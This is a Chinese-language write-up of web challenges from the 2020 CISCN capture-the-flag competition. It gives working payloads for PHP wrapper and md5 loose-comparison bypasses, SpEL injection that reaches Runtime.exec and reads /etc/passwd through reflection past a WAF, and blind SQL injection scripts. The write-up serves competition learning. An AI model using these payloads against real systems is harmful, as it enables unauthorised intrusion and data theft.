2020ciscn
Day 1
0x01 Web3
- 伪协议
- md5碰撞
file_get_contents($shell1)==='first blood'
利用php://input
来绕过
$shell2==md5($shell2)
利用PHP松散比较特性来绕过, **0e开头的字符串md5值也是0e开头即可绕过,**写脚本找到一个合适的数字: 0e215962017
1 | php > var_dump('0e215962017'=='0e291242476940776845150308577824'); |
$shell3 = preg_replace('/php/','',$shell3);
只过滤了一次php,并且没有对大小写限制
构造伪协议读取PHP://filter/read=convert.base64-encode/resource=flag.pphphp
脚本:
1 | import string,hashlib |
0x02 Web7
- Java反射
- Spel注入
SpEL,全称 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:
基础知识
数组
不可修改
不可修改的数组可以通过 {a, a, b}
实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList
。
可修改
数组可以通过 {a, b + c}
实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable
了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList
。
值得注意的是,这里可以通过 ArrayList.toArray()
生成 Object[]
。
Map
Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMap
和 java.util.LinkedHashMap
。创建的格式类似 JSON,这里就直接略过了。
[]
运算符
[]
运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值。
整体语法和 JS 类似,但是有一些例外。对于 String
而言,[]
只能通过下标访问字符,因此 ''['class']
会报错而 ''.class
没有问题。
待确认
new
在 SpEL 中可以通过 new
来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new
,因此题解中并没有用到。
T(class)
使用诸如 T(java.lang.Runtime)
的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(
,因此本题没有用到。
尝试构造命令执行:java.lang.Runtime
首先是测了一下 WAF 过滤的内容:
java.lang
new
getClass
T(
#
String
getMethod('exec').invoke()
Runtime
exec(
get(
Root(
Parent(
list(
bulid阶段源码:
绕过 T(
由于 T(
被限制,因此我们需要通过另一种方式绕过 T(
。这里我们使用的是 forName
:
1 | `''.class.forName('java'+'.lang.R'+'untime')` |
获取 getRuntime
由于 getRuntime
存在被过滤单词,因此只能通过反射获取方法:
1 | `''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))` |
成功获得 Runtime
实例:
exec
使用类似的方法构造 exec
,并尝试执行:
1 | `''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')` |
然而,执行的结果表明:使用了 openrasp
:
由于 openrasp
不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。
尝试构造读取文件:java.nio
文件读取
绕过new(
Files.readAllBytes(Path.get("1122"))
没有new
尝试通过 java.nio
直接读取文件。尝试读取 /etc/passwd
的内容。
1 | `''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))` |
get(
被WAF
绕过get(
既然限制了get(
,那就反射出get()
方法再invoke
,不过需要实例化Path
对象
查看javaapi手册,(1.7版本后Path成了Paths),Paths
在java.nio.file.Paths
中,其中有get
方法可以构造一个path对象
需要URI
参数,可以通过create
方法构造URI对象''.class.forName('java.net.URI').create("file:///etc/passwd")
payload:''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').getMethod('get',''.class.forName('java.net.URI')).invoke(''.class.forName('java.nio.file.Paths'),''.class.forName('java.net.URI').create("file:///etc/passwd")))
这里直接返回了一个 byte[]
,看来是成功了。
逐字符获取
通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:
1 | arr = []; |
(然而之前翻车了
最终正常拼接得到结果。
直接读取
尝试用这种方法获取字符串:''.class.forName('java.nio.charset.StandardCharsets').UTF_8.decode(''.class.forName('java.NIO.ByteBuffer').wrap( payload ))
payload:''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').getMethod('get',''.class.forName('java.net.URI')).invoke(''.class.forName('java.nio.file.Paths'),''.class.forName('java.net.URI').create("file:///etc/passwd")))
然而尝试读取/flag
发现没有, 不知道flag
在哪里 所以尝试遍历目录
构造遍历目录方式
java.io.File
中public String[] list()
, 不过调用这个方法需要实例化对象,然而new
被禁止了,所以找一下可以返回File
对象的方法 ,找到listRoot
方法
Demo 列出计算机所有根目录下的文件(展示list listRoot的用法):
listRoots[0].list()[0]
即可查看第一个根目录下的第一个文件
payload:''.class.forName('java.io.File').getMethod('list').invoke(''.class.forName('java.io.File').getMethod('listRoots').invoke(''.class.forName('java.io.File'))[0])
用BP爆破一下,发现了flag的位置,
获取flag内容
直接就读出来了
然鹅…4点结束攻击环节… 4点01得出的答案…哭辽 原来flag在/flag.txt
里面… 完全可以尝试猜到的,结果上一个题flag在/flag
让我陷入思维定势,觉得flag都在/flag
里面,就没继续尝试, 又费时间构造了遍历目录的方式
Day2
0x01 Web2
- sql过滤单引号
select * from users where username='$_POST["username"]' and password='$_POST["password"]'
过滤了单引号,但是没有过滤反斜杠\
, 令username=admin\
,password=or(2>1)#
这样语句就变成了:select * from users where username='admin\' and password='or(2>1)#'
<=>select * from users where username='****'or(2>1)#
;
号php会自己加上,不需要我们传入
payload: or/**/(ascii(right(left(password,{i+1}),1))>{j})#
脚本:
1 | import requests |
这个题目思路没问题,但是怎么测试都不行…奇怪了
0x02 Web5
Fuzz一下被禁止的关键词, mid可用, select只被过滤了一次可以用来绕过其他被禁止的关键字
结果为真的话返回 Too young too simple, 假的话返回 Incorrect password
'or/**/'1'like'1'%00 真
'or/**/'1'like'1'# 假
fuzz了好长时间… 觉得逻辑非常奇怪,后来发现应该是注释符的问题…
Payload: 'or/**/subselectstr(password,1,1)like'w'%00
在burpsuite中爆破出密码 w31c0mE 4nd H ve FuN
转义字符被禁止了所以无法爆破下划线,百分号等特殊字符,
所以对密码进行爆破,空格地方用下划线代替,H ve中间爆破出是百分号
用帐号密码登录就可
ciscn{UjSmH9SCD6zuZUAc5g}
第一次在国赛上拿到3血的题目